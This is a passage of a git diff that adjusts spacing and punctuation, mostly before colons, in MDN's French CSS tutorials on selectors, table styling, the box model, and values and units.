L'utilisation des pseudo-éléments `::before` et `::after` avec la propriété ## Section de référence -Il existe un grand nombre de pseudo-classes et pseudo-éléments, une bonne liste de références est donc utile. Vous trouverez ci-dessous des tableaux les répertoriant, avec pour chacun le lien vers la page de référence sur MDN. Vous y trouverez toutes les informations sur leur utilisation. +Il existe un grand nombre de pseudo-classes et pseudo-éléments, une bonne liste de références est donc utile. Vous trouverez ci-dessous des tableaux les répertoriant, avec pour chacun le lien vers la page de référence sur MDN. Vous y trouverez toutes les informations sur leur utilisation. ### Pseudo-classes @@ -201,7 +201,7 @@ Il existe un grand nombre de pseudo-classes et pseudo-éléments, une bonne list {{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Attribute_selectors", "Learn/CSS/Building_blocks/Selectors/Combinators", "Learn/CSS/Building_blocks")}} -## Dans ce cours +## Dans ce cours 1. [Cascade and inheritance](/fr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance) 2. [CSS selectors](/fr/docs/Learn/CSS/Building_blocks/Selectors) diff --git a/files/fr/learn/css/building_blocks/selectors/type_class_and_id_selectors/index.md b/files/fr/learn/css/building_blocks/selectors/type_class_and_id_selectors/index.md index 43772eb59f..f235a4bbfc 100644 --- a/files/fr/learn/css/building_blocks/selectors/type_class_and_id_selectors/index.md +++ b/files/fr/learn/css/building_blocks/selectors/type_class_and_id_selectors/index.md @@ -6,7 +6,7 @@ original_slug: Apprendre/CSS/Building_blocks/Selectors/Sélecteurs_de_type_class --- {{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors", "Learn/CSS/Building_blocks/Selectors/Attribute_selectors", "Learn/CSS/Building_blocks")}} -Dans cette leçon, nous examinons les sélecteurs les plus simples qu'on puisse trouver, ce sont ceux que vous utiliserez le plus couramment dans votre travail. +Dans cette leçon, nous examinons les sélecteurs les plus simples qu'on puisse trouver, ce sont ceux que vous utiliserez le plus couramment dans votre travail. <table class="standard-table"> <tbody> @@ -20,10 +20,10 @@ Dans cette leçon, nous examinons les sélecteurs les plus simples qu'on puisse >, <a href="/fr/docs/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers" >savoir manipuler des fichiers</a - >, connaissance de base de HTML (cf. <a + >, connaissance de base de HTML (cf. <a href="/fr/docs/Apprendre/HTML/Introduction_à_HTML" >Introduction à HTML</a - >.) et une première idée du fonctionnement de CSS (voir <a + >.) et une première idée du fonctionnement de CSS (voir <a href="/fr/docs/Learn/CSS/First_steps" >premiers pas en CSS</a >.) @@ -38,23 +38,23 @@ Dans cette leçon, nous examinons les sélecteurs les plus simples qu'on puisse ## Sélecteur de type -Un sélecteur de type cible un élément HTML (une balise) de votre document, on parle aussi de sélecteur de balise ou d'élément. Dans l'exemple ci-dessous on utilise les sélecteurs span, em et strong. Chaque instance de `<span>`, `<em>` et `<strong>` est ainsi mise en forme. +Un sélecteur de type cible un élément HTML (une balise) de votre document, on parle aussi de sélecteur de balise ou d'élément. Dans l'exemple ci-dessous on utilise les sélecteurs span, em et strong. Chaque instance de `<span>`, `<em>` et `<strong>` est ainsi mise en forme. -**Essayez d'ajouter une règle CSS pour sélectionner l'élément `<h1>` et changer sa couleur en bleu.** +**Essayez d'ajouter une règle CSS pour sélectionner l'élément `<h1>` et changer sa couleur en bleu.** {{EmbedGHLiveSample("css-examples/learn/selectors/type.html", '100%', 1100)}} ## Le sélecteur universel -Le sélecteur universel est indiqué par un astérisque (\*) et sélectionne tout dans le document (ou à l'intérieur de l'élément parent s'il est enchaîné avec un autre élément et un combinateur descendant, par exemple). Dans l'exemple suivant, nous avons utilisé le sélecteur universel pour supprimer les marges de tous les éléments. Cela signifie qu'au lieu du style par défaut ajouté par le navigateur, qui espace les en-têtes et les paragraphes avec des marges, tout est collé, la distinction des paragraphes est mal aisée. +Le sélecteur universel est indiqué par un astérisque (\*) et sélectionne tout dans le document (ou à l'intérieur de l'élément parent s'il est enchaîné avec un autre élément et un combinateur descendant, par exemple). Dans l'exemple suivant, nous avons utilisé le sélecteur universel pour supprimer les marges de tous les éléments. Cela signifie qu'au lieu du style par défaut ajouté par le navigateur, qui espace les en-têtes et les paragraphes avec des marges, tout est collé, la distinction des paragraphes est mal aisée. {{EmbedGHLiveSample("css-examples/learn/selectors/universal.html", '100%', 750)}} -On peut rencontrer ce type de comportement dans les "feuilles de style de réinitialisation" qui suppriment toutes les mises en forme par défaut du navigateur. Très populaires à une époque, ces réinitialisations ont un gros inconvénient, la suppression de tous les styles par défaut signifie en effet qu'on doit construire la mise en forme de zéro ! On utilisera donc le sélecteur universel avec précaution, dans des situations très spécifiques, comme par exemple celle décrite ci-dessous. +On peut rencontrer ce type de comportement dans les "feuilles de style de réinitialisation" qui suppriment toutes les mises en forme par défaut du navigateur. Très populaires à une époque, ces réinitialisations ont un gros inconvénient, la suppression de tous les styles par défaut signifie en effet qu'on doit construire la mise en forme de zéro ! On utilisera donc le sélecteur universel avec précaution, dans des situations très spécifiques, comme par exemple celle décrite ci-dessous. -### Utiliser le sélecteur universel pour rendre les sélecteurs plus lisibles +### Utiliser le sélecteur universel pour rendre les sélecteurs plus lisibles -On peut utiliser `*` pour rendre les sélecteurs plus lisibles, pour clarifier leur fonctionnement. Par exemple, si je veux sélectionner le premier descendant de chaque élément `<article>` pour le mettre en gras, je peux utiliser le sélecteur {{cssxref(":first-child")}}, qu'on verra dans la leçon sur les [pseudo-classes et pseudo-éléments](/fr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements) : +On peut utiliser `*` pour rendre les sélecteurs plus lisibles, pour clarifier leur fonctionnement. Par exemple, si je veux sélectionner le premier descendant de chaque élément `<article>` pour le mettre en gras, je peux utiliser le sélecteur {{cssxref(":first-child")}}, qu'on verra dans la leçon sur les [pseudo-classes et pseudo-éléments](/fr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements) : ```css article :first-child { @@ -62,9 +62,9 @@ article :first-child { } ``` -On peut néanmoins confondre ce sélecteur avec `article:first-child` ciblant les éléments `<article>` qui sont le premier descendant d'un élément. +On peut néanmoins confondre ce sélecteur avec `article:first-child` ciblant les éléments `<article>` qui sont le premier descendant d'un élément. -Pour éviter cette confusion, on peut ajouter le sélecteur universel `*` à `:first-child`, le fonctionnement de ce dernier sera plus clair : il cible *tout* élément premier descendant d'un élément `<article>` : +Pour éviter cette confusion, on peut ajouter le sélecteur universel `*` à `:first-child`, le fonctionnement de ce dernier sera plus clair : il cible *tout* élément premier descendant d'un élément `<article>` : ```css article *:first-child { @@ -74,13 +74,13 @@ article *:first-child { ## Sélecteurs de classe -Le sélecteur de classe commence par un point `.` et sélectionne tout élément du document auquel cette classe est appliquée. Dans l'exemple live ci-dessous, nous avons créé une classe appelée `.highlight` et l'avons appliquée à plusieurs endroits du document. Tous les éléments auxquels la classe est appliquée sont mis en évidence. +Le sélecteur de classe commence par un point `.` et sélectionne tout élément du document auquel cette classe est appliquée. Dans l'exemple live ci-dessous, nous avons créé une classe appelée `.highlight` et l'avons appliquée à plusieurs endroits du document. Tous les éléments auxquels la classe est appliquée sont mis en évidence. {{EmbedGHLiveSample("css-examples/learn/selectors/class.html", '100%', 750)}} -### Cibler des classes d'un élément donné +### Cibler des classes d'un élément donné -On peut créer un sélecteur ciblant les éléments d'un type donné appartenant à une classe donnée. Dans l'exemple suivant, la classe `highlight` met en surbrillance, mais elle le fait différemment quand elle s'applique à un \<span> ou à un titre \<h1>. Nous le faisons en utilisant le sélecteur de type pour l'élément ciblé, avec la classe ajoutée, sans espace blanc entre les deux. +On peut créer un sélecteur ciblant les éléments d'un type donné appartenant à une classe donnée. Dans l'exemple suivant, la classe `highlight` met en surbrillance, mais elle le fait différemment quand elle s'applique à un \<span> ou à un titre \<h1>. Nous le faisons en utilisant le sélecteur de type pour l'élément ciblé, avec la classe ajoutée, sans espace blanc entre les deux. {{EmbedGHLiveSample("css-examples/learn/selectors/class-type.html", '100%', 750)}} @@ -88,9 +88,9 @@ Cette approche rend le CSS moins réutilisable : la déclaration ne s'applique q ### Cibler un élément appartenant à plus d'une classe -Vous pouvez attribuer plusieurs classes à un même élément et les sélectionner individuellement, ou cibler l'élément seulement quand toutes les classes apparaissent dans le sélecteur. Cela peut s'avérer utile si vous créez des composants qui peuvent être combinés de différentes manières sur votre site. +Vous pouvez attribuer plusieurs classes à un même élément et les sélectionner individuellement, ou cibler l'élément seulement quand toutes les classes apparaissent dans le sélecteur. Cela peut s'avérer utile si vous créez des composants qui peuvent être combinés de différentes manières sur votre site. -L'exemple ci-dessous présente trois `<div>` contenant chacun une note. Si la boîte est dans la classe `notebox` elle a une bordure grise. Si de plus elle est dans la classe `warning` ou `danger`, on change la {{cssxref("border-color")}}. +L'exemple ci-dessous présente trois `<div>` contenant chacun une note. Si la boîte est dans la classe `notebox` elle a une bordure grise. Si de plus elle est dans la classe `warning` ou `danger`, on change la {{cssxref("border-color")}}. On indique au navigateur la combinaison de classes ciblée en enchaînant les sélecteurs de classe sans laisser d'espace entre. @@ -98,15 +98,15 @@ On indique au navigateur la combinaison de classes ciblée en enchaînant les s ## Sélecteurs d'ID -Un sélecteur d'ID commence par un `#` plutôt que par un point, mais est essentiellement utilisé de la même manière qu'un sélecteur de classe. Une ID ne peut cependant être utilisée qu'une seule fois par document. Le sélecteur cible l'élément avec l'`id` associée ; on peut faire précéder l'ID d'un sélecteur de type pour ne cibler l'élément que si l'élément et l'ID correspondent. Voyons ces deux utilisations dans l'exemple suivant : +Un sélecteur d'ID commence par un `#` plutôt que par un point, mais est essentiellement utilisé de la même manière qu'un sélecteur de classe. Une ID ne peut cependant être utilisée qu'une seule fois par document. Le sélecteur cible l'élément avec l'`id` associée ; on peut faire précéder l'ID d'un sélecteur de type pour ne cibler l'élément que si l'élément et l'ID correspondent. Voyons ces deux utilisations dans l'exemple suivant : {{EmbedGHLiveSample("css-examples/learn/selectors/id.html", '100%', 750)}} -> **Note :** Comme on l'a vu dans la leçon sur la spécificité, on attribue une haute spécificité aux ID, les sélecteurs d'ID l'emportent donc sur la plupart des autres. Cela peut rendre leur usage compliqué. La plupart du temps il est préférable de passer par des sélecteurs de classe plutôt que d'ID, cependant si l'utilisation d'une ID est la seule façon de cibler un élément — peut-être que vous n'avez pas accès au balisage, que vous ne pouvez pas l'éditer — cela fonctionnera. +> **Note :** Comme on l'a vu dans la leçon sur la spécificité, on attribue une haute spécificité aux ID, les sélecteurs d'ID l'emportent donc sur la plupart des autres. Cela peut rendre leur usage compliqué. La plupart du temps il est préférable de passer par des sélecteurs de classe plutôt que d'ID, cependant si l'utilisation d'une ID est la seule façon de cibler un élément — peut-être que vous n'avez pas accès au balisage, que vous ne pouvez pas l'éditer — cela fonctionnera. ## Prochain article -Notre exploration des sélecteurs se poursuit par l'étude des [sélecteurs d'attributs](/fr/docs/Apprendre/CSS/Building_blocks/Selectors/Sélecteurs_d_atrribut). +Notre exploration des sélecteurs se poursuit par l'étude des [sélecteurs d'attributs](/fr/docs/Apprendre/CSS/Building_blocks/Selectors/Sélecteurs_d_atrribut). {{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors", "Learn/CSS/Building_blocks/Selectors/Attribute_selectors", "Learn/CSS/Building_blocks")}} diff --git a/files/fr/learn/css/building_blocks/styling_tables/index.md b/files/fr/learn/css/building_blocks/styling_tables/index.md index bfebc37bc0..28a5018e0a 100644 --- a/files/fr/learn/css/building_blocks/styling_tables/index.md +++ b/files/fr/learn/css/building_blocks/styling_tables/index.md @@ -32,7 +32,7 @@ Styliser un tableau HTML n'est pas le travail le plus passionnant au monde, mais </td> </tr> <tr> - <th scope="row">Objectif :</th> + <th scope="row">Objectif :</th> <td>Apprendre à donner effectivement un style aux tableaux HTML.</td> </tr> </tbody> @@ -89,7 +89,7 @@ Le tableau est bien balisé, facile à disposer et accessible, remercions les fo  -Il est d'aspect resserré, difficile à lire et austère. Utilisons une règle CSS pour corriger cela. +Il est d'aspect resserré, difficile à lire et austère. Utilisons une règle CSS pour corriger cela. ## Mettre en forme notre tableau @@ -97,7 +97,7 @@ Dans cette section d'apprentissage actif, nous allons travailler le style de l'e 1. Pour débuter, faites une copie locale de l'[exemple de balisage](https://github.com/mdn/learning-area/blob/master/css/styling-boxes/styling-tables/punk-bands-unstyled.html), téléchargez les images ([noise.png](https://github.com/mdn/learning-area/blob/master/css/styling-boxes/styling-tables/noise.png) et [leopardskin.jpg](https://github.com/mdn/learning-area/blob/master/css/styling-boxes/styling-tables/leopardskin.jpg)) et placez les trois fichiers dans un répertoire de travail quelque part sur votre ordinateur. 2. Ensuite, créez un nouveau fichier nommé `style.css` et enregistrez‑le dans le même répertoire que les autres fichiers. -3. Liez le CSS au HTML en mettant la ligne suivante dans l'élément {{htmlelement("head")}} : +3. Liez le CSS au HTML en mettant la ligne suivante dans l'élément {{htmlelement("head")}} : ```html <link href="style.css" rel="stylesheet" type="text/css"> @@ -147,7 +147,7 @@ Nous mettons un cadre ({{cssxref("border")}}) tout autour du tableau, cadre néc Ceci est couplé avec une largeur {{cssxref("width")}} de 100%, ce qui signifie que le tableau remplira complétement tout conteneur dans lequel il sera placé et sera bien adaptable (même s'il aura besoin de quelques aménagements complémentaires pour avoir bel aspect avec les largeurs d'écran étroites). - La valeur `collapse` pour {{cssxref("border-collapse")}} est une bonne pratique courante pour toute mise en page de tableau. Par défaut, quand vous définissez des encadrements pour les éléments d'un tableau, il y a un espace entre eux, comme le montre cette illustration :  Cela n'a pas l'air très joli (même si c'est peut-être le look que vous voulez, qui sait ?) Avec `border-collapse : collapse;`, les bordures se condensent en une seule, ce qui est beaucoup mieux : -- Nous avons mis un cadre ({{cssxref("border")}}) tout autour du tableau, cadre nécessaire car nous encadrerons plus tard l'intitulé et le pied de page — si vous n'avez pas d'encadrement général du tableau, terminer par un espacement donne un aspect insolite et peu net. +- Nous avons mis un cadre ({{cssxref("border")}}) tout autour du tableau, cadre nécessaire car nous encadrerons plus tard l'intitulé et le pied de page — si vous n'avez pas d'encadrement général du tableau, terminer par un espacement donne un aspect insolite et peu net. - Nous avons défini une valeur pour le remplissage ({{cssxref("padding")}}) des éléments {{htmlelement("th")}} et {{htmlelement("td")}} — cela donne un peu d'air aux données et facilite la lecture de la table. À ce stade, le tableau a déjà meilleure mine : @@ -156,7 +156,7 @@ Nous mettons un cadre ({{cssxref("border")}}) tout autour du tableau, cadre néc ### Simple typographie -Maintenant, différencions un peu nos polices de caractère. +Maintenant, différencions un peu nos polices de caractère. Tout d'abord, nous avons trouvé une police sur [Google Fonts](https://www.google.com/fonts) convenant aux tableaux concernant les groupes punk. Vous pouvez visiter le site vous‑même et en choisir une autre si vous le souhaitez ; il vous suffit de remplacer l'élément {{htmlelement("link")}} fourni et la déclaration {{cssxref("font-family")}} personnalisée par celles données par Google Fonts. @@ -166,7 +166,7 @@ D'abord, ajoutons l'élément {{htmlelement("link")}} suivant dans l'élément H <link href='https://fonts.googleapis.com/css?family=Rock+Salt' rel='stylesheet' type='text/css'> ``` -Puis ajoutons le CSS suivant dans le fichier `style.css` : +Puis ajoutons le CSS suivant dans le fichier `style.css` : ```css /* typographie */ @@ -200,7 +200,7 @@ Rien de propre aux tableaux ici ; nous modifions simplement le style de la polic - Nous avons mis en place un empilement global de polices sans-serif ; c'est un choix purement stylistique. Nous avons également défini une valeur de police personnalisée pour en-têtes dans les éléments {{htmlelement("thead")}} et {{htmlelement("tfoot")}} pour un look accrocheur et « punky ». - Nous avons aussi défini une valeur particulière de {{cssxref("letter-spacing")}} pour les en‑têtes et les cellules pour améliorer la lisibilité. C'est encore un choix purement subjectif. -- Nous avons choisi un alignement centré pour le texte des cellules dans l'élément {{htmlelement("tbody")}} pour qu'il soit bien aligné avec les têtes de colonnes. Par défaut, les cellules ont une valeur {{cssxref("text-align")}} égale à `left` et les en–têtes à `center`, mais généralement on obtient un meilleur aspect en prenant le même alignement pour les deux. L'éppaisseur par défaut sur les polices de l'en‑tête est suffisante pour différencier ces dernières du contenu des cellules. +- Nous avons choisi un alignement centré pour le texte des cellules dans l'élément {{htmlelement("tbody")}} pour qu'il soit bien aligné avec les têtes de colonnes. Par défaut, les cellules ont une valeur {{cssxref("text-align")}} égale à `left` et les en–têtes à `center`, mais généralement on obtient un meilleur aspect en prenant le même alignement pour les deux. L'éppaisseur par défaut sur les polices de l'en‑tête est suffisante pour différencier ces dernières du contenu des cellules. - Nous avons aligné à droite le titre à l'intérieur de l'élément {{htmlelement("tfoot")}}} pour qu'il soit mieux associé visuellement au résultat des données. Cela fait un peu plus propre : @@ -211,7 +211,7 @@ Cela fait un peu plus propre : Maintenant, graphisme et couleurs ! Comme ce tableau est plein de postures punk, nous allons lui donner un style assez clinquant qui devrait lui convenir. Pas de problème, vous n'avez pas à rendre vos tableaux autant tape à l'œil — vous pouvez opter pour quelque chose de plus subtil et de bon goût. -Commençons par ajouter le CSS suivant à la fin du fichier `style.css` : +Commençons par ajouter le CSS suivant à la fin du fichier `style.css` : thead, tfoot { background: url(leopardskin.jpg); @@ -226,13 +226,13 @@ Commençons par ajouter le CSS suivant à la fin du fichier `style.css` : Encore une fois, il n'y a rien de propre aux tableaux ici, mais cela vaut la peine de noter certaines choses. -Nous avons ajouté un élément {{cssxref("background-image")}} aux éléments {{htmlelement("thead")}} et {{htmlelement("tfoot")}} et changé la valeur de {{cssxref("color")}} du texte dans l'en-tête et le pied de page en blanc (nous l'avons aussi ombré avec {{cssxref("text-shadow")}}) pour qu'il soit bien lisible. Assurez‑vous que le texte contraste bien avec l'arrière-plan pour qu'il soit bien lisible. +Nous avons ajouté un élément {{cssxref("background-image")}} aux éléments {{htmlelement("thead")}} et {{htmlelement("tfoot")}} et changé la valeur de {{cssxref("color")}} du texte dans l'en-tête et le pied de page en blanc (nous l'avons aussi ombré avec {{cssxref("text-shadow")}}) pour qu'il soit bien lisible. Assurez‑vous que le texte contraste bien avec l'arrière-plan pour qu'il soit bien lisible. Nous avons également ajouté un gradient linéaire aux éléments {{htmlelement("th")}}} et {{htmlelement("td")}}} à l'intérieur de l'en-tête et du pied de page pour donner un peu de texture ainsi qu'un cadre mauve brillant. Il est utile d'avoir plusieurs éléments imbriqués disponibles pour pouvoir superposer les styles. Oui, nous aurions pu mettre image de fond et gradient linéaire sur les éléments {{htmlelement("thead")}} et {{htmlelement("tfoot")}}} en utilisant plusieurs images de fond, mais nous avons décidé de le faire séparément pour le bénéfice des navigateurs plus anciens qui ne prennent pas en charge plusieurs images de fond ou gradients linéaires. #### Zébrures -Nous avons souhaité dédier un paragraphe séparé à la mise en place de **zèbrures** — une alternance de coloris des lignes faisant ressortir les données des tableaux, facilitant leur lecture et leur analyse. Ajoutez le CSS suivant au bas de votre fichier `style.css` : +Nous avons souhaité dédier un paragraphe séparé à la mise en place de **zèbrures** — une alternance de coloris des lignes faisant ressortir les données des tableaux, facilitant leur lecture et leur analyse. Ajoutez le CSS suivant au bas de votre fichier `style.css` : ```css tbody tr:nth-child(odd) { @@ -264,7 +264,7 @@ Maintenant, peut-être trouverez‑vous que nous avons forcé la dose et que ce ### Styliser l'intitulé -Il nous reste une dernière chose à faire avec ce tableau — styliser l'intitulé. Pour ce faire, ajoutez ce qui suit en fin de fichier `style.css` : +Il nous reste une dernière chose à faire avec ce tableau — styliser l'intitulé. Pour ce faire, ajoutez ce qui suit en fin de fichier `style.css` : ```css caption { @@ -293,7 +293,7 @@ Avant de poursuivre, voici une liste rapide des points les plus utiles illustré - Faites un balisage du tableau aussi simple que possible et gardez les choses souples, par exemple en utilisant des pourcentages, afin que le design soit adaptable. - Utilisez {{cssxref("table-layout")}}`: fixed` pour créer une disposition de tableau prévisible qui vous permet de fixer les largeurs de colonnes en définissant la valeur de {{cssxref("width")}} sur l'élément d'en‑tête ({{htmlelement("th")}}). - Utilisez {{cssxref("border-collapse")}}`: collapse` pour faire en sorte que les éléments du tableau fusionnent, produisant un aspect plus net et plus facile à contrôler. -- Utilisez {{htmlelement("thead")}}, {{htmlelement("tbody")}} et {{htmlelement("tfoot")}} pour diviser le tableau en unités logiques et disposer d'entités supplémentaires pour l'application du CSS, de sorte qu'il soit plus facile d'empiler les styles si nécessaire. +- Utilisez {{htmlelement("thead")}}, {{htmlelement("tbody")}} et {{htmlelement("tfoot")}} pour diviser le tableau en unités logiques et disposer d'entités supplémentaires pour l'application du CSS, de sorte qu'il soit plus facile d'empiler les styles si nécessaire. - Utilisez les zébrures pour distinguer chaque ligne et en faciliter la lecture. - Utilisez {{cssxref("text-align")}} pour aligner le texte des éléments {{htmlelement("th")}} et {{htmlelement("td")}} pour rendre les choses plus nettes et plus faciles à suivre. @@ -305,7 +305,7 @@ Maintenant que nous avons franchi les hauteurs vertigineusement passionnantes de ## Dans ce module -- [Le modèle de boîte : récapitulatif](/fr/Apprendre/CSS/styliser_boites/Box_model_recap) +- [Le modèle de boîte : récapitulatif](/fr/Apprendre/CSS/styliser_boites/Box_model_recap) - [Arrière-plans](/fr/Apprendre/CSS/styliser_boites/Backgrounds) - [Encadrements](/fr/docs/Apprendre/CSS/styliser_boites/Borders) - [Mise en page des tableaux](/fr/Apprendre/CSS/styliser_boites/Styling_tables) diff --git a/files/fr/learn/css/building_blocks/the_box_model/index.md b/files/fr/learn/css/building_blocks/the_box_model/index.md index 299b081929..2f77cd5e63 100644 --- a/files/fr/learn/css/building_blocks/the_box_model/index.md +++ b/files/fr/learn/css/building_blocks/the_box_model/index.md @@ -11,7 +11,7 @@ En CSS, tout élément est inclus dans une boîte ("_box_" en anglais). Comprend <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Compétences informatique basiques, <a @@ -28,7 +28,7 @@ En CSS, tout élément est inclus dans une boîte ("_box_" en anglais). Comprend </td> </tr> <tr> - <th scope="row">Objectif :</th> + <th scope="row">Objectif :</th> <td> Apprendre les principes du Modèle de Boîte en CSS, ce qui constitue le Modèle de Boîte et comment passer au modèle alternatif. @@ -120,20 +120,20 @@ Le modèle de boîte que nous allons voir s'applique totalement aux boîtes en b Lorsque l'on crée une boîte en bloc, on se retrouve avec les composants suivant : -- **La boîte de contenu** : Il s'agit de la zone où sont affichés les éléments contenus par notre boîte, qui peut être dimensionnée en utilisant les propriétés CSS [`width`](/fr/docs/Web/CSS/width) et [`height`](/fr/docs/Web/CSS/height). -- **La boîte de <i lang="en">padding</i>** **(marge intérieure)** : Le +- **La boîte de contenu** : Il s'agit de la zone où sont affichés les éléments contenus par notre boîte, qui peut être dimensionnée en utilisant les propriétés CSS [`width`](/fr/docs/Web/CSS/width) et [`height`](/fr/docs/Web/CSS/height). +- **La boîte de <i lang="en">padding</i>** **(marge intérieure)** : Le <i lang="en">padding</i> (ou remplissage en français) est une zone vierge qui se présente comme un espacement encadrant le contenu; sa taille peut être contrôlée sur chaque côté en utilisant la propriété [`padding`](/fr/docs/Web/CSS/padding) et ses autres propriétés connexes. -- **La boîte de bordure** : La bordure englobe le contenu et le +- **La boîte de bordure** : La bordure englobe le contenu et le <i lang="en">padding</i> pour former une bordure. Sa taille et son style sont paramétrés par la propriété [`border`](/fr/docs/Web/CSS/border) et ses propriétés sous-jacentes. -- **La boîte de marge** : La marge est la couche la plus à l'extérieur, englobant le contenu, le +- **La boîte de marge** : La marge est la couche la plus à l'extérieur, englobant le contenu, le <i lang="en">padding</i> diff --git a/files/fr/learn/css/building_blocks/values_and_units/index.md b/files/fr/learn/css/building_blocks/values_and_units/index.md index a803e5340c..13c0695dac 100644 --- a/files/fr/learn/css/building_blocks/values_and_units/index.md +++ b/files/fr/learn/css/building_blocks/values_and_units/index.md @@ -11,7 +11,7 @@ Chaque propriété utilisée en CSS possède un type de valeur qui définit l'en <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Maîtrise élémentaire de l'informatique, <a @@ -31,7 +31,7 @@ Chaque propriété utilisée en CSS possède un type de valeur qui définit l'en </td> </tr> <tr> - <th scope="row">Objectif :</th> + <th scope="row">Objectif :</th> <td> Apprendre les différents types de valeurs et d'unités utilisés dans les propriétés CSS. @@ -40,7 +40,7 @@ Chaque propriété utilisée en CSS possède un type de valeur qui définit l'en </tbody> </table> -## Qu'est-ce qu'une valeur CSS ? +## Qu'est-ce qu'une valeur CSS ? Dans les spécifications CSS et sur les pages de propriétés présentes sur MDN, vous pourrez identifier les types de valeurs, car ils sont entourés par des chevrons, tel que [`<color>`](/fr/docs/Web/CSS/color_value) ou [`<length>`](/fr/docs/Web/CSS/length). Quand vous voyez le type de valeur `<color>`, valide pour une propriété particulière, cela signifie que vous pouvez utiliser n'importe quelle couleur valide comme valeur pour cette propriété, comme énoncé dans la page de référence de [`<color>`](/fr/docs/Web/CSS/color_value). @@ -48,7 +48,7 @@ Dans les spécifications CSS et sur les pages de propriétés présentes sur MDN > **Note :** Oui, les types de valeurs CSS tendent à être indiqués par des chevrons, pour les différencier des propriétés CSS (ex : la propriété [`color`](/fr/docs/Web/CSS/color), comparée au type de données [\<color>](/fr/docs/Web/CSS/color_value)). Vous pourriez aussi être désorienté entre les types de données CSS et les éléments HTML, car ils utilisent tous deux les chevrons, mais c'est peu probable — ils sont utilisés dans des contextes très différents. -Dans l'exemple suivant, nous avons défini la couleur de notre titre en utilisant un mot-clé, et la couleur de fond en utilisant la fonction `rgb()` : +Dans l'exemple suivant, nous avons défini la couleur de notre titre en utilisant un mot-clé, et la couleur de fond en utilisant la fonction `rgb()` : ```css h1 { @@ -74,7 +74,7 @@ Il existe plusieurs types de valeur numérique que vous pourrez utiliser en CSS. ### Longueurs -Le type numérique que vous rencontrerez le plus souvent est le type `<length>`. Par exemple : `10px` (pixels) ou `30em`. Il existe deux types de longueurs en CSS : les longueurs relatives et les longueurs absolues. Connaître la différence entre les deux est important pour comprendre la taille que les éléments obtiendront. +Le type numérique que vous rencontrerez le plus souvent est le type `<length>`. Par exemple : `10px` (pixels) ou `30em`. Il existe deux types de longueurs en CSS : les longueurs relatives et les longueurs absolues. Connaître la différence entre les deux est important pour comprendre la taille que les éléments obtiendront. #### Unités de longueur absolue @@ -124,13 +124,13 @@ Après avoir suivi ces instructions, n'hésitez pas à modifier les valeurs autr `em` et `rem` sont deux unités de longueur relative que vous rencontrerez fréquemment dès que vous dimensionnerez des boîtes ou du texte. Aussi, il est intéressant de comprendre leur fonctionnement, les différences entre ces deux unités, surtout avant d'aborder des sujets plus complexes comme [la mise en forme du texte](/fr/docs/Learn/CSS/Styling_text) ou [les dispositions CSS](/fr/docs/Learn/CSS/CSS_layout). L'exemple qui suit fournit une démonstration. -Le HTML utilisé ci-après est un ensemble de listes imbriquées : il y a trois listes au total et les exemples partagent tous le même code HTML. La seule différence est que le premier utilise une classe _ems_ et que le second utilise une classe _rems_. +Le HTML utilisé ci-après est un ensemble de listes imbriquées : il y a trois listes au total et les exemples partagent tous le même code HTML. La seule différence est que le premier utilise une classe _ems_ et que le second utilise une classe _rems_. Pour commencer, on définit la taille de la police à 16px sur l'élément `<html>`. -**Pour récapituler, l'unité `em` signifie « la taille de police de l'élément parent »** pour ce qui concerne la typographie. Les éléments [`<li>`](/fr/docs/Web/HTML/Element/li) à l'intérieur de [`<ul>`](/fr/docs/Web/HTML/Element/ul) et qui ont un attribut `class` avec `ems` prendront donc leur taille en fonction de celle de leur parent. Aussi, chaque niveau plus grand que le précédent, car chacun a une taille de police de `1.3em` soit 1,3 fois plus grand que la taille de police pour l'élément parent. +**Pour récapituler, l'unité `em` signifie « la taille de police de l'élément parent »** pour ce qui concerne la typographie. Les éléments [`<li>`](/fr/docs/Web/HTML/Element/li) à l'intérieur de [`<ul>`](/fr/docs/Web/HTML/Element/ul) et qui ont un attribut `class` avec `ems` prendront donc leur taille en fonction de celle de leur parent. Aussi, chaque niveau plus grand que le précédent, car chacun a une taille de police de `1.3em` soit 1,3 fois plus grand que la taille de police pour l'élément parent. -**Pour récapituler, l'unité `rem` signifie « la taille de police de l'élément racine »** (rem est l'acronyme anglais de « <i lang="en">root em</i> » qu'on pourrait traduire par « em racine ».) Les éléments [`<li>`](/fr/docs/Web/HTML/Element/li) à l'intérieur de [`<ul>`](/fr/docs/Web/HTML/Element/ul) et qui ont un attribut `class` avec `rems` prendront leur taille à partir de l'élément racine (`<html>`). Cela signifie que les niveaux successifs ne gagneront pas en largeur. +**Pour récapituler, l'unité `rem` signifie « la taille de police de l'élément racine »** (rem est l'acronyme anglais de « <i lang="en">root em</i> » qu'on pourrait traduire par « em racine ».) Les éléments [`<li>`](/fr/docs/Web/HTML/Element/li) à l'intérieur de [`<ul>`](/fr/docs/Web/HTML/Element/ul) et qui ont un attribut `class` avec `rems` prendront leur taille à partir de l'élément racine (`<html>`). Cela signifie que les niveaux successifs ne gagneront pas en largeur. Toutefois, si vous modifier la taille de la police avec `font-size` pour `<html>` dans la feuille CSS, vous pourrez voir que toutes les tailles varient en fonction de celle-ci, tant celles qui utilisent `rem` que celles qui utilisent `em`. @@ -142,7 +142,7 @@ Dans la plupart des cas, un pourcentage est traité comme une longueur. Un pourc Dans l'exemple qui suit, on a deux boîtes dimensionnées avec des pourcentages et deux boîtes dimensionnées en pixels, elles partagent les mêmes noms de classes. Chaque ensemble est dimensionné respectivement avec 40% et 200px. -La différence est que le deuxième ensemble avec les deux boîtes se situe dans un contenant large de 400 pixels. La boîte dimensionnée avec 200px a la même largeur que dans le premier ensemble, en revanche, la boîte dimensionnée avec 40% a une largeur de 40% de 400px ce qui est beaucoup plus étroit que l'autre ! +La différence est que le deuxième ensemble avec les deux boîtes se situe dans un contenant large de 400 pixels. La boîte dimensionnée avec 200px a la même largeur que dans le premier ensemble, en revanche, la boîte dimensionnée avec 40% a une largeur de 40% de 400px ce qui est 